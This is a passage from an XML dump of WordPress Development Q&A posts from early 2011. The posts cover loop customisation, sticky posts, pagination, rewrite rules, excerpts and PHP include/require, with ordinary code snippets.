));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2322" LastEditorUserId="2322" LastEditorDisplayName="" LastEditDate="2011-02-01T19:36:54.923" LastActivityDate="2011-02-01T20:06:20.983" Title="Custom Post Type Statuses" Tags="&lt;plugins&gt;&lt;custom-post-types&gt;&lt;plugin-development&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="2" />
  <row Id="7374" PostTypeId="2" ParentId="7367" CreationDate="2011-01-20T19:48:47.590" Score="0" ViewCount="" Body="&lt;p&gt;Is the copied Autofocus CSS taking any effect at all? You might have to place it beneath your theme's other CSS so it gets priority. &lt;/p&gt;&#xA;" OwnerUserId="1682" LastActivityDate="2011-01-20T19:48:47.590" CommentCount="1" />
  <row Id="7375" PostTypeId="2" ParentId="7328" CreationDate="2011-01-20T19:57:24.660" Score="0" ViewCount="" Body="&lt;p&gt;Try this (not tested, I hope I am not short circuiting it into endless loop):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('sanitize_user', 'non_strict_login', 10, 3);&#xA;&#xA;function non_strict_login( $username, $raw_username, $strict ) {&#xA;&#xA;    if( !$strict )&#xA;        return $username;&#xA;&#xA;    return sanitize_user(stripslashes($raw_username), false);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-20T19:57:24.660" CommentCount="1" />
  <row Id="7376" PostTypeId="2" ParentId="7333" CreationDate="2011-01-20T20:06:10.793" Score="4" ViewCount="" Body="&lt;p&gt;You won't need browser detection, RSS (as XML) can be styled without losing compatibility with machine readers. I believe the format for that is &lt;a href=&quot;http://en.wikipedia.org/wiki/XSLT&quot; rel=&quot;nofollow&quot;&gt;XSLT&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I have little hands on experience with XSLT and none in context of WordPress feeds, so can't give solid example.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-01-21T11:29:44.883" LastActivityDate="2011-01-21T11:29:44.883" CommentCount="2" />
  <row Id="7377" PostTypeId="2" ParentId="7354" CreationDate="2011-01-20T20:12:19.180" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://twitterfeed.com/&quot; rel=&quot;nofollow&quot;&gt;Twitterfeed&lt;/a&gt; service is quite convenient and doesn't need a plugin, but it can lag at times. Still I find it usable and worth over running umpteenth not-so-necessary plugin.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-20T20:12:19.180" />
  <row Id="7378" PostTypeId="2" ParentId="6859" CreationDate="2011-01-20T20:15:07.837" Score="1" ViewCount="" Body="&lt;p&gt;1300 rows is a LOT for a user to browse through. However, if you do want it as a table in a WP page use the WP Table Reloaded plugin (http://wordpress.org/extend/plugins/wp-table-reloaded/). You can set the resulting table to paginate, be searchable and be sortable. If you want more spreadsheet functionality than that I'd either post it at Google Docs or Zoho or provide the Excel file as a download that people can manipulate offline&lt;/p&gt;&#xA;" OwnerUserId="2624" LastEditorUserId="2624" LastEditorDisplayName="" LastEditDate="2011-01-20T20:33:39.583" LastActivityDate="2011-01-20T20:33:39.583" />
  <row Id="7379" PostTypeId="1" CreationDate="2011-01-20T20:19:37.607" Score="0" ViewCount="199" Body="&lt;p&gt;I am using a theme that uses posts for multiple pages, and the blog posts goes in a category called &quot;blog&quot;, I am using the permalinks setting &quot;/%postname%&quot;,  and the blog menu url is &quot;/category/blog&quot;, how can I rewrite that to &quot;/blog&quot; without breaking the rest of the wp url rewrites?, my htaccess is the normal from wp:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastEditorUserId="2370" LastEditorDisplayName="" LastEditDate="2011-01-21T14:10:18.160" LastActivityDate="2011-01-21T14:10:18.160" Title="Using custom mod_rewrite without breaking wordpress permalinks" Tags="&lt;url-rewriting&gt;&lt;mod-rewrite&gt;" AnswerCount="2" />
  <row Id="7380" PostTypeId="2" ParentId="7379" CreationDate="2011-01-20T20:27:37.433" Score="0" ViewCount="" Body="&lt;p&gt;adding &lt;code&gt;RewriteRule ^blog$ /?cat=3 [NC,N]&lt;/code&gt;&#xA;Seems to do the job.&lt;/p&gt;&#xA;" LastActivityDate="2011-01-20T20:31:26.217" />
  <row Id="7381" PostTypeId="1" AcceptedAnswerId="7382" CreationDate="2011-01-20T21:31:18.687" Score="1" ViewCount="392" Body="&lt;p&gt;I need to add a &quot;last&quot; class to the last post that appears in loop.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone tell me how to accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="1462" LastActivityDate="2011-01-20T21:50:12.557" Title="How to add a &quot;last&quot; class to the last post in loop.php?" Tags="&lt;css&gt;&lt;posts&gt;&lt;loop&gt;" AnswerCount="2" />
  <row Id="7382" PostTypeId="2" ParentId="7381" CreationDate="2011-01-20T21:44:40.500" Score="4" ViewCount="" Body="&lt;p&gt;assuming you're using &lt;code&gt;post_class()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('post_class', 'my_post_class');&#xA;function my_post_class($classes){&#xA;  global $wp_query;&#xA;  if(($wp_query-&amp;gt;current_post+1) == $wp_query-&amp;gt;post_count) $classes[] = 'last';&#xA;  return $classes;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-01-20T21:44:40.500" />
  <row Id="7383" PostTypeId="2" ParentId="7381" CreationDate="2011-01-20T21:50:12.557" Score="0" ViewCount="" Body="&lt;p&gt;I am using jQuery addClass() when I style odd/even list items or similar. You could probably use it to achieve what you want too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $(&quot;#menu_side &amp;gt; ul &amp;gt; li:last-child&quot;).addClass(&quot;last&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1463" LastActivityDate="2011-01-20T21:50:12.557" CommentCount="1" />
  <row Id="7384" PostTypeId="1" AcceptedAnswerId="7387" CreationDate="2011-01-20T21:52:10.870" Score="0" ViewCount="198" Body="&lt;p&gt;I need to display the &quot;sticky&quot; post in a section that is outside the &quot;loop&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone tell me how to do this?&lt;/p&gt;&#xA;" OwnerUserId="1462" LastActivityDate="2011-01-20T22:20:15.527" Title="How to retrieve &quot;sticky&quot; post outside the &quot;loop&quot;?" Tags="&lt;loop&gt;&lt;sticky-post&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="7385" PostTypeId="2" ParentId="7367" CreationDate="2011-01-20T21:56:14.610" Score="0" ViewCount="" Body="&lt;p&gt;It's really hard to say what is wrong, when we are working blind. &#xA;Give us a screenshot or an URL to visit so we can help you debug. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a general basis, copy-pasting a theme page to another theme is very &quot;difficult&quot;. Not impossible to do, of course, but it's usually not just copy-pasting and expect it to work. &lt;/p&gt;&#xA;" OwnerUserId="1463" LastActivityDate="2011-01-20T21:56:14.610" />
  <row Id="7387" PostTypeId="2" ParentId="7384" CreationDate="2011-01-20T22:14:19.820" Score="1" ViewCount="" Body="&lt;p&gt;I am using this query; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$sticky = get_option( 'sticky_posts' ); // Get all sticky posts&#xA;rsort( $sticky ); // Sort the stickies, latest first&#xA;$sticky = array_slice( $sticky, 0, 1 ); // Number of stickies to show&#xA;query_posts( array( 'post__in' =&amp;gt; $sticky, 'caller_get_posts' =&amp;gt; 1 ) ); // The query&#xA;&#xA;if (have_posts() ) { while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;    &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile;?&amp;gt;&#xA;&amp;lt;?php } else { echo &quot;&quot;; }?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope it works for you too.. :) &lt;/p&gt;&#xA;" OwnerUserId="1463" LastActivityDate="2011-01-20T22:14:19.820" CommentCount="1" />
  <row Id="7388" PostTypeId="2" ParentId="7384" CreationDate="2011-01-20T22:20:15.527" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt; $last_sticky_post = get_post(end(get_option('sticky_posts')));&#xA; if(!empty($last_sticky_post)):&#xA;   setup_postdata($last_sticky_post);&#xA;   the_title(); // standard loop here...&#xA;   the_content();&#xA; endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(this gets a single post)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;use &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_posts&quot; rel=&quot;nofollow&quot;&gt;get_posts()&lt;/a&gt; with the &lt;code&gt;'include' =&amp;gt; implode(',', get_option('sticky_posts'))&lt;/code&gt; argument to get all sticky posts (Martin's solution without array_slice will do the same).&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-01-20T22:20:15.527" />
  <row Id="7389" PostTypeId="2" ParentId="7354" CreationDate="2011-01-20T22:54:11.460" Score="0" ViewCount="" Body="&lt;p&gt;I've been very satisfied with WP to Twitter so far.  It automatically tweets when you make a new post.  You can either set it up to create a tweet with post specific data automatically inserted- like &quot;New post on (blog name) - (post title)&quot; - or write a new tweet yourself for each post.  It automatically adds the link to the end using your choice of three URl shorteners.&lt;/p&gt;&#xA;" OwnerUserId="2436" LastActivityDate="2011-01-20T22:54:11.460" />
  <row Id="7390" PostTypeId="1" AcceptedAnswerId="7395" CreationDate="2011-01-20T23:03:19.307" Score="0" ViewCount="96" Body="&lt;p&gt;I'm using the Front Slider plugin to display featured articles on &lt;a href=&quot;http://www.inkandpixelclub.com&quot; rel=&quot;nofollow&quot;&gt;my site&lt;/a&gt;.  I've done some editing to the plugin to make it look the way I want.  Somewhere along the way, I must have missed changing a value, because the top half to the image for the article being displayed links to the article while the bottom half does not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming it's as simple as I think, all I need to know is what code I need to find and replace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2436" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-05-04T19:46:18.190" LastActivityDate="2011-05-04T19:46:18.190" Title="How Do I Link My Whole Featured Article Image?" Tags="&lt;links&gt;&lt;image&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="7391" PostTypeId="1" CreationDate="2011-01-20T23:23:41.750" Score="1" ViewCount="169" Body="&lt;p&gt;So I have read more posts and articles about this issue than I care to admit and still nothing I can find works. Here is the issue - I can not get the pagination to advance and it shows all the same posts over and over - like I have seen in other posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here is what I am using (2 seperate templates for different categories):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$paged = get_query_var( 'page' );&#xA;query_posts('cat=4&amp;amp;paged='.$paged);&#xA;if(have_posts()) { while(have_posts()) { the_post(); &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;It works fine , but then I go to the only other page on the site - which uses the same code in the loop, different category (3) and it does not work there, it is not a typo, etc.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I have also tired the following:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if(have_posts()){&#xA;  $paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA; query_posts($query_string . &quot;&amp;amp;cat=4&quot;);&#xA;  while(have_posts()){&#xA;  the_post();&#xA;  global $more;&#xA;  $more = 0;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;OR&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts('cat=3&amp;amp;paged='.get_current_page());&#xA;  if(have_posts()){&#xA;  while(have_posts()){&#xA;  the_post();&#xA;  global $more;&#xA;  $more = 0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With the get_current_page function, I used this hack, which I was told by WP VIP was not the way to do things (but it worked for both pages):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Get current page for paginaton navigation */ &#xA;function current_page() {&#xA; $pageURL = 'http';&#xA; //check what if its secure or not&#xA; if ($_SERVER[&quot;HTTPS&quot;] == &quot;on&quot;) {&#xA; $pageURL .= &quot;s&quot;;&#xA; }&#xA; //add the protocol&#xA; $pageURL .= &quot;://&quot;;&#xA; //check what port we are on&#xA; if ($_SERVER[&quot;SERVER_PORT&quot;] != &quot;80&quot;) {&#xA; $pageURL .= $_SERVER[&quot;SERVER_NAME&quot;].&quot;:&quot;.$_SERVER[&quot;SERVER_PORT&quot;].$_SERVER[&quot;REQUEST_URI&quot;];&#xA; } else {&#xA; $pageURL .= $_SERVER[&quot;SERVER_NAME&quot;].$_SERVER[&quot;REQUEST_URI&quot;];&#xA; }&#xA; //cut off everything on the URL except the last 3 characters&#xA; $urlEnd = substr($pageURL, -3);&#xA; //strip off the two forward shashes&#xA; $page = str_replace(&quot;/&quot;, &quot;&quot;, $urlEnd);&#xA; //return just the number&#xA; return $page;&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Please help!!!&lt;/strong&gt;&lt;/p&gt;&#xA;" LastActivityDate="2011-08-19T05:26:55.040" Title="Pagination Issues using WP_Paginate Plugin" Tags="&lt;customization&gt;&lt;loop&gt;&lt;pagination&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="7392" PostTypeId="1" CreationDate="2011-01-20T23:29:26.100" Score="0" ViewCount="97" Body="&lt;p&gt;My theme handles Adsense inclusion automatically for the end user. I'm looking to add a feature that allows them to rotate in CPA ads in place of the adsense ads (on a set frequency by percentage).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, they can specify an image and url, then assign a weight to the CPA ad unit to determine how often it gets inserted in place of the adsense code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any examples or existing plugins that do this well?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-01-20T23:29:26.100" Title="Ad rotator script for Adsense/CPA rotations. Ideas? Existing Solutions?" Tags="&lt;plugin-development&gt;&lt;adsense&gt;" />
  <row Id="7393" PostTypeId="2" ParentId="1395" CreationDate="2011-01-20T23:46:59.913" Score="1" ViewCount="" Body="&lt;p&gt;Came across this post in my quest for likely the same thing, and not long after came across this plug in:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/ultimate-taxonomy-manager/&quot; rel=&quot;nofollow&quot;&gt;Ultimate Taxonomy Manager&lt;/a&gt;  .  I'm not endorsing it just yet, but I've tried it in a test environment and I think it does what you're looking for. It feels a bit clumsy when retrieving the data, but that could just be me and my understanding of the documentation.&lt;/p&gt;&#xA;" OwnerUserId="1960" LastActivityDate="2011-01-20T23:46:59.913" />
  <row Id="7394" PostTypeId="1" CreationDate="2011-01-20T23:59:36.370" Score="0" ViewCount="64" Body="&lt;p&gt;Hey all. For my theme, I have multiple sidebars. Each sidebar file has a variable of $sidebar_id assigned to it. So, for sidebar-1.php, $sidebar_id = 1, for sidebar-2.php, $sidebar_id = 2, and so on. Each sidebar has an action hook inside of it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I write a function to hook on to the sidebar action hook. Within the function, I reference $sidebar_id to display different content in different sidebars. WordPress recognizes the value of $sidebar_id on the front page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But on archive pages, single pages and single posts, $sidebar_id always returns NULL. Even if I declare it as a global in my function. I don't get why the function can recognize the variable on the front page but it can't on all other pages. Any insights would be greatly appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, here is my function: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function archive_only() {&#xA;global $sidebar_id;&#xA;if($sidebar_id == &quot;archives&quot;) {&#xA;echo &quot;only show on archive sidebar&quot;; &#xA;    }&#xA;} add_action('cpress_sidebar_after', 'archive_only'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works on the front page but doesn't on any other pages. $sidebar_id is defined in the sidebar template files.&lt;/p&gt;&#xA;" OwnerUserId="2629" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-01-21T06:03:59.330" LastActivityDate="2011-01-21T06:03:59.330" Title="Why does a variable work on the front page but return NULL on all other pages?" Tags="&lt;variables&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="7395" PostTypeId="2" ParentId="7390" CreationDate="2011-01-21T00:33:01.623" Score="2" ViewCount="" Body="&lt;p&gt;It's because the div#imglink is set to height: 150px; in your css. Change it to the same height as the images in the slider.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-01-21T00:33:01.623" CommentCount="1" />
  <row Id="7396" PostTypeId="2" ParentId="7394" CreationDate="2011-01-21T00:54:10.023" Score="3" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@orbit82:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Searching through the code in WordPress v3.0.4 I was unable to find any references to a global &lt;code&gt;$sidebar_id&lt;/code&gt; so I am assuming that either your theme is setting it on the front page or a plugin you are using is setting it. Can you verify?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's more, I would definitely echo @prettyboymp's comment that you should look to use the conditional tags like &lt;code&gt;is_single()&lt;/code&gt; and &lt;code&gt;is_archive()&lt;/code&gt;; is there a reason they won't work for you? Here's a reference on the WordPress Codex for what conditional tags are available in WordPress:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Conditional_Tags&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Conditional_Tags&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-21T00:54:10.023" />
  <row Id="7397" PostTypeId="2" ParentId="7391" CreationDate="2011-01-21T01:45:41.687" Score="0" ViewCount="" Body="&lt;p&gt;Your solution here is most correct..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(have_posts()){ $paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;query_posts($query_string . &quot;&amp;amp;cat=4&quot;); &#xA;while(have_posts()){ &#xA;the_post(); global $more; $more = 0;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...but has some errors.  Try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;$category = get_category_by_slug('your-category-slug');&#xA;query_posts(array('paged' =&amp;gt; $paged, 'cat' =&amp;gt; $category-&amp;gt;term_id)); &#xA;while(have_posts()){ &#xA;    the_post(); &#xA;    global $more; &#xA;    $more = 0;&#xA;    //output here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note, that using the category id directly isn't going to work on WP VIP.  Category ID's won't match what you have locally.&lt;/p&gt;&#xA;" OwnerUserId="203" LastActivityDate="2011-01-21T01:45:41.687" CommentCount="4" />
  <row Id="7398" PostTypeId="1" AcceptedAnswerId="7405" CreationDate="2011-01-21T01:48:41.867" Score="1" ViewCount="766" Body="&lt;p&gt;My problem is when on the main plugin file i include a php file&#xA;something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;include(WP_PLUGIN_URL . '/wordpress-group-buying/ipn/paypal-ipn.php');&#xA;//or&#xA;include_once(WP_PLUGIN_URL . '/wordpress-group-buying/ipn/paypal-ipn.php');&#xA;//or&#xA;require(WP_PLUGIN_URL . '/wordpress-group-buying/ipn/paypal-ipn.php');&#xA;//or&#xA;require_once(WP_PLUGIN_URL . '/wordpress-group-buying/ipn/paypal-ipn.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and  on that file i have a call to a WordPress function like&#xA;add_action('hook,'callback');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and i get &#xA;&lt;strong&gt;Fatal Error: Call to undefined function add_action() ....&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now before you say &quot;use if(&lt;strong&gt;function_exists&lt;/strong&gt;('add_action')){&quot;&#xA;if i use that then it just doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;the questions:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;what would be the correct way to do&#xA;that?&lt;/li&gt;&#xA;&lt;li&gt;what are the difference between&#xA;include ,include_once,require and&#xA;when do i use witch?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;thanks for any help!&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-01-21T01:54:08.800" LastActivityDate="2011-01-21T10:40:55.513" Title="How to include PHP files in plugins the correct way" Tags="&lt;plugin-development&gt;&lt;functions&gt;" AnswerCount="5" CommentCount="4" FavoriteCount="1" />
  <row Id="7399" PostTypeId="2" ParentId="6961" CreationDate="2011-01-21T03:01:45.043" Score="0" ViewCount="" Body="&lt;p&gt;+1 to Rast. It is very weird that there is no such thing as get_the_excerpt($post-&gt;ID), when it should be quite obvious that it should. Anyway, here is wp_trim_excerpt() in wordpress version 3.0.4:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.4/wp-includes/formatting.php&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/browser/tags/3.0.4/wp-includes/formatting.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wp_trim_excerpt($text) {&#xA;1824            $raw_excerpt = $text;&#xA;1825            if ( '' == $text ) {&#xA;1826                    $text = get_the_content('');&#xA;1827    &#xA;1828                    $text = strip_shortcodes( $text );&#xA;1829    &#xA;1830                    $text = apply_filters('the_content', $text);&#xA;1831                    $text = str_replace(']]&amp;gt;', ']]&amp;amp;gt;', $text);&#xA;1832                    $text = strip_tags($text);&#xA;1833                    $excerpt_length = apply_filters('excerpt_length', 55);&#xA;1834                    $excerpt_more = apply_filters('excerpt_more', ' ' . '[...]');&#xA;1835                    $words = preg_split(&quot;/[\n\r\t ]+/&quot;, $text, $excerpt_length + 1, PREG_SPLIT_NO_EMPTY);&#xA;1836                    if ( count($words) &amp;gt; $excerpt_length ) {&#xA;1837                            array_pop($words);&#xA;1838                            $text = implode(' ', $words);&#xA;1839                            $text = $text . $excerpt_more;&#xA;1840                    } else {&#xA;1841                            $text = implode(' ', $words);&#xA;1842                    }&#xA;1843            }&#xA;1844            return apply_filters('wp_trim_excerpt', $text, $raw_excerpt);&#xA;1845    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see on line 1826 that it is linked to the $post global variable via get_the_contents. And yes, I have no idea what were they thinking. But from here, replace the get_the_content with $text in your own my_excerpt, and it should behave in a similar fashion.&lt;/p&gt;&#xA;" OwnerUserId="2630" LastActivityDate="2011-01-21T03:01:45.043" />
  <row Id="7400" PostTypeId="2" ParentId="6961" CreationDate="2011-01-21T03:09:36.997" Score="3" ViewCount="" Body="&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a derivative of wp_trim_excerpt() which I used. Works perfectly. Derived from Wordpress version 3.0.4&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_excerpt($text, $excerpt)&#xA;{&#xA;    if ($excerpt) return $excerpt;&#xA;&#xA;    $text = strip_shortcodes( $text );&#xA;&#xA;    $text = apply_filters('the_content', $text);&#xA;    $text = str_replace(']]&amp;gt;', ']]&amp;amp;gt;', $text);&#xA;    $text = strip_tags($text);&#xA;    $excerpt_length = apply_filters('excerpt_length', 55);&#xA;    $excerpt_more = apply_filters('excerpt_more', ' ' . '[...]');&#xA;    $words = preg_split(&quot;/[\n\r\t ]+/&quot;, $text, $excerpt_length + 1, PREG_SPLIT_NO_EMPTY);&#xA;    if ( count($words) &amp;gt; $excerpt_length ) {&#xA;            array_pop($words);&#xA;            $text = implode(' ', $words);&#xA;            $text = $text . $excerpt_more;&#xA;    } else {&#xA;            $text = implode(' ', $words);&#xA;    }&#xA;&#xA;    return apply_filters('wp_trim_excerpt', $text, $raw_excerpt);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2630" LastActivityDate="2011-01-21T03:09:36.997" CommentCount="1" />
  <row Id="7401" PostTypeId="2" ParentId="7398" CreationDate="2011-01-21T03:29:35.983" Score="4" ViewCount="" Body="&lt;p&gt;I end up forgoing the WordPress constructs for includes and use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once(dirname(__FILE__) . '/filename.php);&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't think it will actually solve your issue, which seems to be a scope issue, but it is the code I use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the difference between include and require:&lt;br /&gt;&#xA;include will throw a &lt;strong&gt;warning&lt;/strong&gt; if the file is not found&lt;br /&gt;&#xA;require will throw a &lt;strong&gt;fatal error&lt;/strong&gt; if the file is not found&lt;/p&gt;&#xA;&#xA;&lt;p&gt;include_once and require_once will not include/require the file/code again if it has already been included/required (note that as far as I can tell, this is only for a specific file in a specific directory).&lt;/p&gt;&#xA;" OwnerUserId="1078" LastActivityDate="2011-01-21T03:29:35.983" CommentCount="0" />
  <row Id="7402" PostTypeId="2" ParentId="7398" CreationDate="2011-01-21T03:34:04.807" Score="1" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Include&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The include() statement includes and evaluates the specified file.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Include Once&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The include_once() statement includes and evaluates the specified&#xA;  file during the execution of the&#xA;  script. This is a behavior similar to&#xA;  the include() statement, with the only&#xA;  difference being that if the code from&#xA;  a file has already been included, it&#xA;  will not be included again. As the&#xA;  name suggests, it will be included&#xA;  just once.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Require&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;require() and include() are identical in every way except how they&#xA;  handle failure. They both produce a&#xA;  Warning, but require() results in a&#xA;  Fatal Error. In other words, don’t&#xA;  hesitate to use require() if you want&#xA;  a missing file to halt processing of&#xA;  the page.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Require Once&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The require_once() statement includes and evaluates the specified&#xA;  file during the execution of the&#xA;  script. This is a behavior similar to&#xA;  the require() statement, with the only&#xA;  difference being that if the code from&#xA;  a file has already been included, it&#xA;  will not be included again.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The info above is from the PHP documentation, the thing is there is not a correct one, will depend on the need of the code, I do require() on important stuff like functions, but on theme files like footer or the loop I use include_once or include because i can handle the warning and say to the user/visitor that happend an error instead of just a fatal_error&lt;/p&gt;&#xA;" OwnerUserId="454" LastActivityDate="2011-01-21T03:34:04.807" CommentCount="2" />
  <row Id="7404" PostTypeId="2" ParentId="7398" CreationDate="2011-01-21T03:46:32.187" Score="0" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@בניית אתרים:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When WordPress is loading it defines the &lt;code&gt;add_action()&lt;/code&gt; function &lt;em&gt;before&lt;/em&gt; it attempts to load any plugins The fact you are getting the error tells me you are doing something strange or that something is wrong with your WordPress install.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Who are you getting your &lt;em&gt;&quot;plugin&quot;&lt;/em&gt; to load?  Are you using an &lt;code&gt;include*()&lt;/code&gt; or &lt;code&gt;require*()&lt;/code&gt; to load it, maybe in your &lt;code&gt;wp-config.php&lt;/code&gt; file?&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-21T03:46:32.187" CommentCount="1" />
